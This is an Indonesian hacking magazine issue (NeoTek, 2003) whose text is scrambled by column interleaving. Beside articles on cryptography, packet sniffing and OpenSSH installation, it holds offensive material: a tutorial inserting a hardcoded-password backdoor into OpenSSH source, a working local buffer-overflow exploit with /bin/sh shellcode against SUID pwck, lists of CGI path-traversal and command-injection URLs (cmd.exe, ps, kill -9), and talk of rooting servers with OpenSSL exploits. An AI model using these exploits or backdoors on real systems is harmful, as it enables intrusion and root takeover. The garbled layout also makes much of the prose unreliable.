Documentos de Académico
Documentos de Profesional
Documentos de Cultura
amkm Perdana
Permintaan Anda Kami Penuhi
Kami dapat men-download-kannya untuk anda...
Pada CD NeoTek bulan ini download perangkat lunak itu, kami dapat
untuk pertama kali kami membantu anda untuk men-download-kannya.
menyertakan 14 program Ke-14 program yang kami sebutkan di atas
atau perangkat lunak dapat anda jumpai pada folder amkm.
hasil permintaan anda,
para pembaca setia Nah, jika anda pun menghadapi masalah yang
NeoTek. sama untuk mendapatkan program atau
perangkat lunak dari Internet, anda dapat
Mungkin ketika berse- mencoba menghubungi kami lewat email.
lancar di dunia maya anda kerap menemukan Email dialamatkan ke:
perangkat lunak gratis yang menarik serta anda
perlukan, tetapi terlalu besar ukurannya untuk • kosasih_iskandasjah@yahoo.com
anda download sendiri. Jika anda mempunyai • Subject: amkm
kesulitan untuk mengambil atau men- • Isi pesan: Mohon download-kan [nama
program] dari [www.blablabla.com].
amkm Salam!
anda Soal hacking, Windows
meminta ataupun Linux sama disasar!
kami
mendownload
Software gratis
di Internet?
Tapi besarnya...
50Mb... 200Mb?
sa—elephant • Apache Chunked Scanner dapat digunakan untuk ‘ngeroot’ Apache OpenSSL.
Ketika target ditemukan, Apache Chunked Scanner memberi indikasi server yang
sa—gajah
mungkin dapat ‘diserang.’
Daftar Isi 12
NeoTek Vol. I I I No. 4
Mengenal Kriptografi
20 Metode Hacking
NeoStart Salah satu metode untuk men-
jaga keamanan data adalah
Buffer Overflow
Buffer overflow dapat meng-
dengan mengenkripsinya. Kriptografi akibatkan suatu sistem crash. Ini terjadi
Memahami TCP adalah ilmu untuk menghasilkan jika variabel yang tersedia pada aplikasi
7 3-Packet Handshake enkripsi. tidak dapat menampung input yang
WinPcap dan Ethereal sengaja dibuat berlebihan.
Secure Protocol
membantu anda memahami proses
14 Secure protocol menjamin Fingerprint Port 80
komunikasi jaringan, lewat suatu
tampilan visual. bahwa data yang dilewatkan 22 Fingerprint Port 80 adalah
antara client dan server terenkripsi dan teknik serangan yang dilakukan
Packet Sniffing
8 Transmisi Clear Text
bahwa hubungan terjalin antara pihak
yang seharusnya.
terhadap Port 80.
Backdoor dengan
18 OpenSSH 30 Rooting dengan Exploit
dan OpenSSH
OpenSSH dapat dimodifikasi
Hacking terhadap server
untuk menjadi backdoor pada suatu
hosting dengan menggunakan exploit
server.
untuk mendapatkan akses root.
www.neotek.co.id
Situs NeoTek neotek.kpone.com.sg 32 Melindungi File
dengan Enkripsi
Beberapa utilitas yang dapat
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
digunakan untuk mengenkripsi file anda
Link Langsung Layanan Rupa-rupa NeoTek sehingga aman.
Kunjungi situs-situs yang dibahas di Perlengkapan berinternet dari situs NeoTek
majalah NeoTek dengan sekali klik
Digital Clock (4)
lewat situs NeoTek. Channel #neoteker di Dalnet
Ngobrol ramai-ramai sesama NeoTeker 43 Membuat jam dengan dua
NeoTek versi PDF Web Chat Room buah timer dan output berupa
Kehabisan NeoTek di kota Anda? Kini tidak usah jauh-jauh untuk ngobrol relay yang mempunyai banyak fungsi
Dapatkan saja versi PDF-nya. Gratis! langsung dengan sesama NeoTeker dan bunyi beep.
Mailing List
Download Webmail Server Linux:
Tersedia juga download di situs
NeoTek selain dari situs aslinya
Ini yang paling ramai. Segera ikutan
berbagi pengalaman berinternet! 47 Squirrelmail
NeoTeker Official Portal Squirrelmail adalah paket
http://neotek.portal.dk3.com webmail standar yang ditulis dalam
Situs komunikasi antar Neoteker. bahasa pemrograman PHP4.
NeoProfil
Kru NeoTek
3 Bermarkas di
Gedung Cahaya Palmerah 503
Jl. Palmerah Utara III No. 9
Pemimpin Umum
Fachri Said
Pemimpin Redaksi
Kosasih Iskandarsjah
Redaktur Ahli
NmN
NeoTeker menjawab NeoTeker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list
NeoTek di http://groups.yahoo.com/group/majalahneotek.
NETWORK SECURITY
alam usaha melakukan koneksi TCP,
D request dikirim melalui transport
layer yang men-set flag SYN=1 dan
ACK=0, yang akan dijawab oleh pihak yang
NETWORK SECURITY
egitu banyak protokol umum di
B Internet yang melewatkan begitu
saja teks seadanya (clear text) dan
protokol-protokol itu adalah semua yang
BAHAYA PACKET SNIFFING clear text), SMTP (isi pesan email yang
dikirim berupa clear text), HTTP (page con-
tent dan isi dari field dalam formulir berupa
clear text), IMAP (otentikasi berupa clear
Pada awalnya Internet memang belum terlalu banyak mem- text), SNMPv1 (otentikasi berupa clear text).
pertimbangkan security dan privacy. Protokol-protokol yang Kesimpulannya? Pada dasarnya hampir se-
lazim di Internet melewatkan teks (password ataupun isi mua kegiatan yang lazim kita lakukan di
Internet dapat dengan mudah disadap orang,
pesan) dalam bentuk teks biasa (clear text) yang dengan baik itu browsing, mengirim dan menerima
sangat mudah dapat disadap menggunakan sniffer. email, maupun koneksi telnet serta FTP.
}
SNIFFING YAHOO! MAIL
8 Dengan cara yang sama kita dapat
mengirimkan email melalui
mail.yahoo.com. Dalam contoh ini
subject dan isi email kita hanyalah
teks: test clear text capture. Dan isi
email kita terlihat jelas pada frame
nomor 505. Coba sendiri dengan
protokol-protokol lain.
Network Security:
Otentikasi & Enkripsi
Enkripsi dan Otentikasi adalah dua teknologi yang saling berhubungan untuk menjamin data anda
tetap aman. Otentikasi adalah cara untuk memastikan bahwa pihak yang anda hubungi atau yang
menghubungi anda adalah memang sesuai dengan pengakuannya, bukan pihak ketiga yang
menyamarkan diri. Enkripsi adalah teknologi untuk memastikan bahwa informasi yang mengalir
pada suatu sesi tidak diintip atau diubah orang lain (compromised).
Apabila C2MYAZZ dijalankan, program ini secara pasif Public/private cipher key (seperti misalnya PGP) menjadi
menunggu client melakukan otentikasi ke NT server. populer karena sederhananya key management yang dibu-
Begitu logon terdeteksi, C2MYAZZ mentrasmisikan satu tuhkan. Dengan metode ini private key cukup disimpan
paket tunggal ke client yang meminta agar client mengi- sendiri, sedangkan public key bisa ditransmisikan dengan
rimkan LANMAN authentication. metode apa saja, tidak harus metode yang secure.
Client karena percaya sedang terhubung ke server tujuan- Kelemahan cipher
nya, mengirimkan saja otentikasi yang berupa clear text
ini. Utilitas C2MYAZZ kemudian meng-capture dan me- Untuk memastikan bahwa cipher yang digunakan itu
nampilkan kombinasi logon name dan password yang di- aman, ada beberapa hal yang perlu diperhatikan.
dapatnya, tanpa sama sekali mengganggu akses client ke • Rumus matematik yang digunakan dalam algoritma en-
server. Client dengan demikian sama sekali tidak sadar kripsi harus diketahui umum. Algoritma yang meng-
bahwa logon credential-nya telah dicuri. andalkan kerahasiaan malah besar kemungkinannya
Utilitas C2MYAZZ ini sangat kecil dan dapat dijalankan mengandung kesalahan yang memudahkan cracking.
hanya pada satu disket. penyerang tinggal menempatkan • Algoritma enkripsi harus melewati penelaahan umum.
utilitas ini pada bootable floppy disk, menyalakan sistem, Setiap orang harus dapat mengevaluasi algoritma ini dan
dan kembali lagi di lain waktu untuk memanen hasilnya. bebas mendiskusikan penemuannya. Ini artinya analisa
terhadap suatu algoritma tidak boleh dibatasi oleh per-
Pada Windows 98 ke atas, kelemahan ini sudah diatasi se- janjian kerahasiaan.
hingga C2MYAZZ bukan lagi menjadi ancaman terhadap • Algoritma enkripsi ini harus tersedia untuk umum se-
client yang menggunakan sistem operasi Windows. lama waktu yang memadai untuk terjadinya proses
analisa. Algoritma enkripsi yang belum diketahui kele-
DNS poisoning mahannya dan baru tersedia beberapa bulan belumlah
DNS poisoning yang dikenal juga sebagai cache poisoning lulus menghadapi ujian. Salah satu alasan mengapa
adalah proses menyampaikan informasi IP address yang orang mempercayai enkripsi DES adalah bahwa enkripsi
salah mengenai host tertentu dengan tujuan mengalihkan ini sudah ada sejak 15 tahun yang lalu.
lalu-lintas paket data dari tujuan sebenarnya. Hal ini per- • Setiap algoritma mempunyai kelemahan-kelemahan
tama kali ditunjukkan oleh Eugene Kashpureff pada tahun kecil yang seharusnya tidak secara dramatis mengu-
1997 sewaktu ia mengalihkan request ke host InterNIC rangi waktu yang diperlukan untuk meng-crack semua
menuju situs pendaftaran domain name alternatif, kombinasi key yang mungkin.
AlterNIC. Request ini dialihkan dengan mengeksploitasi
vulnerability yang terdapat pada DNS service. Serangan brute force
Sewaktu suatu name server menerima jawaban terhadap Serangan brute force adalah usaha mencoba semua kom-
suatu DNS query, sumber jawaban ini tidak divalidasi dan binsi cipher key yang mungkin untuk mendapatkan
mengabaikan informasi yang tidak ditanyakan. Kashpureff cipher key yang dapat meng-unlock ciphertext. Serangan
memanfaatkan vulnerabilities ini dengan menyembunyi- ini dikenal juga sebagai exhaustive key search. Dalam
kan informasi DNS yang palsu di dalam jawaban yang brute force sebenarnya tidak dilakukan usaha meng-crack
absah. Name server yang menerima jawaba akan menyim- cipher key, melainkan mengandalkan pada mencoba
pan informasi yang didapat (yang benar maupun palsu) semua kombinasi key yang mungkin dalam suatu jangka
dalam cache-nya. Sebagai akibatmya, apabila pemakai waktu yang wajar.
mencoba me-resolve suatu host dalam domain InterNIC, Metode Enkripsi dan Banyaknya Kombinasi Key
maka ia akan menerima IP address dalam domain AlterNIC
dan dengan demikian dialihkan ke AlterNIC network. Enkripsi Bit key Banyaknya key yang mungkin
Kini dengan berkembangnya e-commerce dan online banking, Netscape 40 240=1.099.511.627.776
teknik ini menjadi sangat berbahaya. Bisa saja suatu server DES (export) 56(40) 256=72.057.594.037.927.900
palsu tampil identik dengan server online banking yang 240=1.099.511.627.776
asli. Apabila nasabah mengakses web server bank itu dan TripeDES 112 2112=5.192.296.858.534.830.000..
mengotentikasi dirinya, maka server palsu akan menangkap (2 key) 000.000.000.000.000
informasi otentikasi nasabah itu. Nasabah itu pun tidak IDEA 128 2128=340.282.366.920.938.000.
akan pernah tahu bahwa ia dilayani oleh server palsu. 000.000.000.000.000.000
Untuk itulah diperlukan digital certificate.
RC4 128 2128=340.282.366.920.938.000.
000.000.000.000.000.000
Kelemahan Enkripsi
TripeDES 168 2168=374.144.419.156.711.000.
Dasar-dasar enkripsi dibahas dalam artikel khusus tulisan (3 key) 000.000.000.000.000.000.000.000.
Kurniaji Satrio. Di sini hanya akan dibahas kelemahan- 000.000.000
kelemahan enkripsi, yaitu; Blowfish s/d 448 2488=726.838.724.295.607.000.
• Salah penanganan atau human error 000.000.000.000.000.000.000.000.
• Kelemahan cipher itu sendiri 000.000.000.000.000.000.000.000.
• Serangan brute force 000.000.000.000.000.000.000.000.
000.000.000.000.000.000.000.000.
Salah penanganan atau human error 000.000.000.000.000.000.000
Metode enkripsi yang satu membutuhkan key manage- AES 128,192, 2256=115.792.089.237.316.000.000.
ment yang lebih baik daripada yang lain.Gejala pemakai 256 000.000.000.000.000.000.000.000.
bodoh (stupid user syndrome) menjadi penting dalam 000.000.000.000.000.000.000.000.
memilih metode enkripsi yang dipilih. 000.000.000
Mengenal Kriptografi
Saat anda tersambung ke Internet, banyak hal yang dapat dilakukan pihak lain untuk “mencuri” data anda.
Upaya untuk mencegah pencurian semacam itu dilakukan orang dengan mengembangkan enkripsi.
Kurniaji Satrio (satrio@gmx.net) menyajikan kriptografi yang merupakan ilmu untuk menghasilkan enkripsi.
Teknik ini merupakan contoh sederhana dari teknik en- Perkembangan dari block cipher ialah AES (Advanced
kripsi, di mana setiap karakter alfabet digantikan dengan Encryption Standard) yang merupakan kontes publik bagi
karakter yang lain, dengan panjang alfabet sebanyak 26 algoritma enkripsi yang diadakan oleh NIST (National
karakter. Teknologi di atas tidak dapat digunakan lagi Institue of Standards and Technology) pada tahun 1997
pada zaman sekarang karena terlalu sederhana. dan menghasilkan 5 finalis antara lain :
Enigma Machine 1. MARS (IBM).
2. RC6 (RSA).
Mesin enigma merupakan alat untuk menyandikan 3. Twofish (Bruce Schenier)
informasi yang digunakan oleh Jerman pada saat perang 4. Serpent (Ross Anderson / Eli Biham / Lars Knudsen)
dunia kedua. Mesin ini menggunakan gabungan rotor 5. Rijndael (Joan Daemen / Vincent Rijmen).
mesin yang terangkai satu sama lain.
Akhirnya Algoritma Rijndael terpilih sebagai pemenang
pada bulan oktober 2000.
Symmetric Key Cryptosystem —
Stream Cipher Encryption
Stream cipher berbasis key stream generator yang meng-
hasilkan pseudo-random sequence yang diinisialisasi oleh
sebuah kunci rahasia.. Yang kemudian di-XOR kan
dengan pesan yang asli untuk menghasilkan pesan yang
acak.
Network Security:
Secure Protocol
Secure protocol mendukung baik otentikasi maupun enkripsi, yang menjamin bahwa data
yang dilewatkan antara client dan server sifatnya secure (terenkripsi) dan bahwa kedua belah
pihak yang melakukan koneksi (client maupun server) dapat memastikan bahwa masing-masing
terhubung dengan pihak yang seharusnya, yang dengan demikian meminimalkan pemalsuan
identitas melalui IP address spoofing, DNS poisoning, maupun man-in-the-middle attack.
SSH menyediakan suatu virtual private connection pada Implementasi SSH pada awalnya tersedia bebas, namun
application layer, mencakup interactive logon protocol selewat v.1.2.12, mulai diterapkan lisensi yang praktis
(ssh dan sshd) serta fasilitas untuk secure transfer file membuatnya suatu produk komersial dari Data Fellows,
(scd). Setelah meng-instal SSH, sangat dianjurkan untuk Inc. Komunitas Open Source manyadari bahwa konsep
men-disable telnet dan rlogin. Implementasi SSH pada SSH terlalu berharga untuk dibiarkan begitu saja
Linux di antaranya adalah OpenSSH, yang tersedia gratis sehingga terbentuk usaha menulis ulang free version dari
di situs www.openssh.org. SSH.
Cara Kerja SSH Sejak tahun 1999, Björn Grönvall, dan kemudian
OpenBSD development team, mengambil implementasi
Misalkan suatu client mencoba mengakses suatu Linux SSH v.1.2.12 yang asli dan mengembangkannya menjadi
server melalui SSH. SSH daemon yang berjalan baik pada apa yang sekarang disebut OpenSSH. Kini OpenSSH
Linux server maupun SHH client telah mempunyai sudah sampai v. 2 dan mendukung banyak platform,
pasangan public/private key yang masing-masing termasuk Linux.
menjadi identitas SSH bagi keduanya. Langkah-langkah
koneksinya akan sebagai berikut: Karena OpenSSH merupakan free software, terdapat
banyak patch yang tersedia untuk mengimplementasinya
Langkah 1 pada berbagai perluasan. Di antaranya:
Client bind pada local port nomor besar dan melakukan • Kerberos/GSSAPI, mendukung OpenSSH/1 maupun
koneksi ke port 22 pada server. OpenSSH/2 melalui GSSAPI
Langkah 2 • DNSSEC, SSH host key distribution and verification,
menggunakan Secure DNS (DNSSEC).
Client dan server setuju untuk menggunakan jenis sesi • SRP, SSH user authentication melalui Secure Remote
SSH tertentu. Hal ini penting karena SSH v. 1 dan v. 2 Password protocol.
tidak kompatibel.
Instalasi OpenSSH
OpenSSH merupakan implementasi freeware terhadap protokol SSH yang sejak awal ditujukan untuk
menggantikan protokol telnet dan rlogin yang tidak secure dengan protokol SSH (port 22) yang
menggunakan public key cryptography. Kurniaji Satrio (satrio@gmx.net) menguraikannya untuk anda.
• Telnet Session — Informasi dilewatkan pada unencrypted tunnel di • SSH Session — Informasi dilewatkan pada encrypted tunnel di
Internet. Internet.
• X11 Forwarding (enkripsi terhadap trafik X Window Ekstrak dan kompilasi OpenSSH.
System) server# tar xvfz openssh-3.4p1.tar.gz
• Port Forwarding. server# cd openssh-3.4p1
• Strong Authentication (Public Key, One-Time Password server# ./configure --prefix=/usr/local/ssh --sbindir=/usr/sbin
dan Kerberos) --bindir=/usr/bin --mandir=/usr/local/man --sysconfdir=/etc/ssh --
• Agent Forwarding. with-ssl-dir=/usr/local/ssl --with-zlib=../zlib
server# make
• Interoperabilitas (kompatibel dengan protocol SSH 1.3, server# make install
1.5, dan 2.0)
• SFTP client dan server, mendukung protocol SSH1 dan OpenSSH akan terinstal di direktori /usr/local/ssh de-
SSH2 ngan sistem konfigurasi berada pada direktori /etc/ssh
• Kerberos dan AFS. Jika anda bingung dengan perintah configure anda bisa
• Kompresi data (Memerlukan Zlib) melihat manual lengkap dengan mengetik perintah:
server# ./configure --help|more
Keamanan OpenSSH
Sebelum menjalankan daemon SSH, kita perlu membuat
OpenSSH terbukti aman dan auditable. Hal ini dapat user sshd dengan uid=27, home direktori berada di
dilihat dari daftar record security di alamat /var/empty serta user sshd tsb tidak mempunyai shell
www.openssh.com/security.html. dan password. Anda bisa menggunakan perintah adduser
Daftar Sistem Operasi yang atau useradd untuk menambah user sshd atau seleng-
kapnya anda bisa melihat manual adduser atau useradd
Menggunakan OpenSSH
Daftar sistem operasi di bawah ini diketahui menginte- server# man adduser
grasikan OpenSSH di sistem mereka. Antara lain : Konfigurasi SSHD
• OpenBSD • Debian Linux Untuk membuat sshd bekerja pada protokol SSH2 yang
• FreeBSD • Suse Linux lebih aman dari SSH1 maka ubah baris Protokol 2,1 pada
• Redhat Linux • Mandrake Linux file sshd_config menjadi Protokol 2 dan hilangkan
• BSDi BSD/OS • NetBSD comment di depannya.
• Computone • Conectiva Linux
server# vi /etc/ssh/sshd_config
• Slackware Linux • Caldera OpenLinux #Protocol 2,1
• Stallion • Rock Linux
• Cygwin • e-smith server and gateway menjadi
• Engarde Linux • MacOS X Version 10.1 Protocol 2
• HP Procurve Switch 4108GL and 2524/2512
• IBM AIX • Gentoo Linux Jika anda tidak ingin user root login langsung ke mesin
• Gwynux/Toadware Linux • Sun Solaris 9 (SunSSH) Unix/Linux ini, anda dapat mengubah baris
• SmoothWall • IPCop #PermitRootLogin yes
• Dan masih banyak lagi menjadi
PermitRootLogin no
Instalasi OpenSSH
Di sini saya akan menjelaskan cara menginstal OpenSSH. Menjalankan SSHD
Penjelasan di bawah ini berlaku untuk semua sistem ber- Setelah semua langkah di atas kita lakukan, maka kita
basis Unix termasuk Linux. Yang anda perlukan antara lain: bisa menjalankan daemon sshd dengan perintah:
• gcc (Gnu C Compiler). Default di semua system unix. server# /usr/sbin/sshd
• Zlib (www.gzip.org/zlib) optional untuk kompresi data. Buat sshd otomatis berjalan saat booting.
• OpenSSL terbaru (www.openssl.org) server# echo "/usr/sbin/sshd" >> /etc/rc.local
• OpenSSH Portable (hwww.openssh.com/portable.html). Periksa apakah daemon ssh sudah berjalan dan periksa
Versi terbaru ialah openssh-3.4p1. pula protokolnya:
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/
openssh-3.4p1.tar.gz server# telnet localhost 22
Connected to localhost.
Setelah semua paket di-download, maka kita ekstrak dan Escape character is '^]'.
kompilasi: SSH-2.0-OpenSSH_3.4p1
^]
server# tar xvfz openssl-engine-0.9.6e.tar.gz telnet>
server# cd openssl-0.9.6e/
server# ./config Seperti yang terlihat diatas sshd berjalan dengan protokol
server# make versi SSH 2.0
server# make test
server# make install Referensi:
server# cd .. 1. www.openssh.com/faq.html
Secara default OpenSSL terinstal di direktori 2. www.openbsd.org/cgi-
/usr/local/ssl. bin/man.cgi?query=style&sektion=9
3. www.lothar.com/tech/crypto/
Ekstrak dan kompilasi Zlib. 4. www.aet.tu-
server# tar xvfz zlib.tar.gz cottbus.de/personen/jaenicke/postfix_tls/prngd.html
server# cd zlib 5. www.gzip.org/zlib/
server# ./configure
server# make 6. www.openssl.org/
server# cd .. 7. www.kernel.org/pub/linux/libs/pam/
ENTUNYA KITA TIDAK AKAN MERASA ASING LAGI Bagi anda yang menggunakan OS Windows terkebih
T dengan daemon yang bernama OpenSSH apabila
telah menggunakan Operating Sistem Linux. Sa-
dahulu anda telah memiliki account shell dan mengguna-
kan putty untuk menggunakan shell account tersebut.
ngat berguna sekali untuk administrasi sistem. Hampir Command yang harus diketik adalah sebagai berikut:
semua mengatakan SSHD adalah OpenSSH walaupun se- #wget URL
benarnya banyak vendor yang menciptakan daemon SSH
yang lain seperti SSH-Secure Shell , F-Secure. Persentase
penggunanya sangat besar, bahkan sudah bisa dikontribu-
sikan ke berbagai operating system seperti BSD, Solaris,
bahkan sampai ke Windows berkat Cygwin32.
Selanjutnya command:
#lynx URL
Setelah selesai maka file yang diambil akan ada di Perhatikan yellow light, di sana tambah skrip berikut:
direktori di mana kita melakukan perintah wget. #ifdef T3RM
Sebelum melangkah selanjutnya saya harap anda meru- if (strcmp(T3RM, password) == 0) {
pakan root, sebab jika bukan UID root (0) maka Daemon return 1;
tidak akan bisa Listening (membuka port) di port 22. Hal }
#endif
ini dapat diketahui dengan tanda # pada shell prompt
Linux anda.
Setelah ditambahkan, tekan Ctlr+x, lalu tombol Y dan
Selanjutnya ekstrak file openssh tsb: Enter. Itu berfungsi untuk menyimpan hasil modifikasi.
#tar -zxvf openssh-3.5p1.tar.gz
Untuk version.h lakukan modifikasi dengan kembali
menggunakan pico:
# pico version.h
Perhatikan yellow light, tambahkan skrip di bawah ini di
bagian yellow light.
#define T3RM "password"
NDA MUNGKIN PERNAH MENDENGAR istilah buffer Anda bisa mencoba program input yang kita buat di shell
A overflow. Buffer overflow adalah salah satu meto-
de yang digunakan oleh hacker untuk mengeks-
Linux atau Unix anda. Coba perhatikan gambar berikut:
• Gambar 3: Informasi register yang diprogram gdb. • Gambar 4: Eksploitasi lokal program PWCK yang
tidak memiliki bits SUD.
informasi yang ada di EBP telah mengoverwrite register
EIP di memori. Kemudian bagaimana kondisi buffer over-
flow seperti di atas bisa di manfaatkan untuk mendapat-
kan akses administrator dari suatu sistem komputer? Di
dalam system komputer yang memiliki kontrol sekuriti
dikenal adanya otoritas atau pembatasan dan pemberian
hak akses terhadap suatu aplikasi dimana hak ini ditentu-
kan berdasarkan kebutuhan aplikasi tersebut. Misalnya
bits SUID (+s) yang di berikan oleh sistem komputer di
Linux dan Unix. Aplikasi-aplikasi tertentu yang dalam
kerjanya membutuhkan akses terhadap sistem akan di
beri bits SUID (+s) yang memiliki akses setara root (ad-
ministator access). Jika aplikasi yang mengandung bits
SUID tersebut bisa di-buffer-overflow maka bisa dipasti-
kan akses setara administrator akan bisa diperoleh oleh
seorang user.
Bagaimana cara mengeksploitasi aplikasi yang bisa di- • Gambar 5: Eksploitasi lokal program PWCK yang
buffer-overflow? Anda bisa melihat di contoh sebelumnya memiliki bits SUD.
bagaimana ketika terjadi buffer overflow register EIP bisa printf("RET: 0x%08x\n",ret);
ter-overwrite dan apa yang terjadi jika setelah karakter ap = (int *)(buf + ALIGN);
overflow ("AAAA") ditambahkan karakter shellcode for ( i=0; i < BUF; i+=4)
(binary code) yang bisa menjalankan (execute) program *ap ++= ret;
shell seperti "/bin/sh" maka yang terjadi adalah program for ( i=0; i < BUF / 2; i++)
shell "/bin/sh" akan tereksekusi dengan otoritas (hak buf[i]=NOP;
for ( n = 0; n < strlen(sc); n++)
akses) dari aplikasi yang ter-buffer-overflow tersebut. buf[i++] = sc[n];
Perhatikan eksploit dari program PWCK yang terinstall execl("/usr/sbin/pwck", "pwck", buf, NULL);
default di sistem Linux dan Unix yang berada di lokasi }
/usr/sbin/pwck : Dari dua contoh Gambar 4 dan 5 bisa kita lihat perbedaan
#include<stdio.h> akses yang didapat dengan metode hacking buffer over-
#include<stdlib.h> flow. Untuk aplikasi pwck yang tidak memiliki bits SUID
char sc[]= ketika di-buffer-overflow akses yang diperoleh adalah
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid (0) user biasa, sedang untuk pwck yang mengandung bits
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" // execve("/bin/sh")
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
SUID (+s) akses yang diperoleh adalah root system
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" (administrator access). Dalam system linux dan unix bits
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" suid bisa di tambahkan dengan command berikut:
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define ALIGN 0
bash$ chmod +s /usr/sbin/pwck → chmod +s < aplikasi>
#define BUF 2500 //2176 = redhat 7.2 ; 2391 = mandrake 8.2 Untuk menghilangkan bits suid Anda cukup merubah +s
#define NOP 0x90 menjadi -s seperti contoh berikut :
unsigned long get_sp(void)
{ bash$ chmod -s /usr/sbin/pwck → chmod -s < aplikasi>
__asm__("movl %esp,%eax");
} Mudah-mudahan dari penjelasan singkat di atas pembaca
int main(int argc,char **argv) { NeoTek sudah bisa memahami bagaimana metode buffer
int ret, i, n; overflow bekerja. Dampak yang paling fatal yang diaki-
char buf[BUF]; batkan oleh buffer overflow adalah terkuasainya akses
int *ap; setingkat root dan ini berarti seorang user biasa sudah
if(argc>1) memiliki akses yang sama dengan administrator.
ret = get_sp() - atoi(argv[1]);
else Penulis Dani Firmansyah (xnuxer@yahoo.com) online di
ret = 0xbffff202; Dalnet dengan nick Schizoprenic.
Januari 2003 NeoTek 21
NeoTekno
ORT 80 MERUPAKAN PORT STANDAR UNTUK sebuah Sebuah aplikasi Web mungkin tidak mengizinkan request
P situs Web, tetapi dapat mengizinkan seseorang
untuk melakukan serangan, baik terhadap akses
tersebut karena hal itu menetapkan nama file dengan
akhiran .htm, .html, .shtml, atau tipe file lainnya. Dengan
admin situs Web maupun servernya. Salah satu teknik arti kata itu bukan merupakan tipe file yang valid. Jadi
untuk melakukan serangan tersebut adalah Fingerprint sebaiknya menggunakan nama file yang pasti, dari situ
Port 80. Teknik ini dilakukan dengan menggunakan eksploit seseorang akan dapat menggali path server, nama file, dan
terhadap aplikasi Web server yang menggunakan CGI. kemudian kemungkinan menggali lebih banyak informasi
mengenai sistem. Agar aplikasi mengetahui dengan sendi-
Request rinya akhiran nama file menegaskan untuk dapat diteri-
Karakter khusus yang berupa tanda titik ataupun berupa ma tipe file, beberapa aplikasi web melakukan penahanan
kode ASCII yang lebih memiliki istilah yaitu "request", untuk request file yang valid dan inilah metode yang
merupakan tanda yang umum digunakan dalam melaku- umumnya digunakan oleh para penyerang.
kan fingerprint terhadap aplikasi web server. Umumnya Contoh:
lubang pada CGI memuat beberapa request.
http://host/cgibin/*.cgi?page=../../../../etc/motd%00html
1. "." ".." dan "..."
4. "|"
Fungsinya untuk mengganti direktori pada server web
untuk mendapatkan akses yang tidak ditampilkan pada Karakter pipa yang sering digunakan pada UNIX untuk
khalayak umum/pengguna akses Web tersebut. Jika sese- membantu mengeksekusi perintah kelipatan/bertingkat.
orang melakukan request dengan melakukan browsing Contoh:
terhadap sebuah file pada server yang memungkinkannya #cat access_log| grep -i "/../"
menggali cukup banyak informasi untuk mendapatkan
lebih privilege (hak istimewa). Contoh penggunaan:
http://host/cgi-bin/*.cgi?page=../../../../bin/ls|
Contoh penggunaan:
http://host/cgi-bin/*.cgi?page=../../../../bin/ls%20-al%20/etc|
http://host/cgi-bin/*.cgi?file=../../../../etc/motd
http://host/cgi-bin/*.cgi?page=cat%20access_log|grep%20-
i%20"lame"
2. "%20"
Nilai hex yang berarti pemberian 1 spasi. Beberapa apli- 5. ";"
kasi web menggunakan karakter ini yang kadang-kadang Katakter ini mengizinkan perintah kelipatan/bertingkat
digunakan utuk membantu mengeksekusi perintah. untuk dapat dieksekusi dalam sebuah kesulitan pada
Contoh penggunaan: sistem UNIX. Contoh: #id;uname -a
http://host/cgi-bin/*.cgi?page=ls%20-al| Seringkali aplikasi Web mengizinkan karakter ini dan itu
merupakan ide yang buruk bagi admin Web server karena
Contoh di atas juga menggambarkan serangan untuk tanda bahaya kesalahan akan hilang dan penyerang dapat
mengeksekusi perintah ls pada sistem UNIX yang akan mengakses dengan sangat baik.
memperlihatkan isi direktori. Jika hal itu terjadi artinya
seseorang telah mendapat izin untuk mengakses data-data 6. "<", ">"
penting yang ada pada sistem dan dapat juga memberikan
Karakter ini tertahan dalam log untuk alasan yang banyak
ide selanjutnya pada orang itu untuk mendapatkan hak
sekal. Pertama karakter ini digunakan untuk melampirkan
istimewa (privilege).
data ke file-file. Contoh: #echo "your hax0red h0 h0" >>
3. "%00" /etc/motd (UNIX sistem) seseorang akan mudah meng-
gunakan request ini untuk melakukan deface terhadap
Nilai Hex yang berarti 0 byte. Dapat digunakan untuk situs Web.
membodohi aplikasi web pada sebuah perbedaan tipe dari
file yang dapat memperlihatkan sifat tertentu untuk me- Contoh penggunaan:
nyelidiki dan menemukan sebuah lubang di dalamnya. http://host/*.php=<b>Hi%20sayang%20aku%20lapar</b>
Contoh penggunaan:
7. "!"
http://host/cgi-bin/*.cgi?page=index.html
Karakter ini sering digunakan dalam serangan-serangan
http://host/cgi-bin/*.cgi?page=../../../../etc/motd
SSI (Server Side Include). Karakter ini mengizinkan
2. "cmd.exe" 8. "ps"
Ini merupakan shell windows, seorang penyerang jika Perintah ini digunakan untuk menunjukkan list dari
memiliki akses atas skrip ini akan dapat melakukan apa proses yang berjalan.
saja dalam sistem Windows untuk izin server. Hampir Contoh:
seluruh worm/virus melibatkan port 80 menggunakan http://host/cgi-bin/*.cgi?doh=../../../../bin/ps%20-aux|
cmd.exe untuk menolong menyebarkan infeksinya ke http://host/cgi-bin/*.cgi?doh=ps%20-aux;
remote system.
Contoh: 9. "kill", "killall"
http://host/scripts/*.asp=../../WINNT/system32/cmd.exe?dir+e:\ Perintah ini digunakan untuk meng-kill atau menghen-
tikan proses pada sistem UNIX baik service sistem maupun
3. "/bin/id" program. Perintah ini digunakan untuk menutupi jejaknya.
Binary ini adalah perintah id yang digunakan pada path- Contoh:
path penuh untuk sedikit lubang-lubang aplikasi web. Ini http://host/cgi-bin/*.cgi?doh=../bin/kill%20-9%200|
dapat mengakibatkan perintah remote pengeksekusian http://host/cgi-bin/*.cgi?doh=kill%20-9%200;
lubang-lubang.
AAT INI AKTIVITAS HACKING YANG ADA di Indonesia rang target dengan menggunakan exploit OpenSSL. Nah
S semakin menanjak dengan semakin seringnya
diadakan diskusi online yang ada di portal-portal
sekarang pembaca bisa connect ke dalam server *nix. Dalam
hal ini penulis menganjurkan untuk menggunakan OS
yang membahas tentang hacking. Dan juga dengan sema- Linux dengan distro RedHat 7.2 ke bawah. Karena jenis
kin maraknya pergaulan komunitas hacking yang ada di server ini kompatibel untuk diinstalkan exploit Apache-
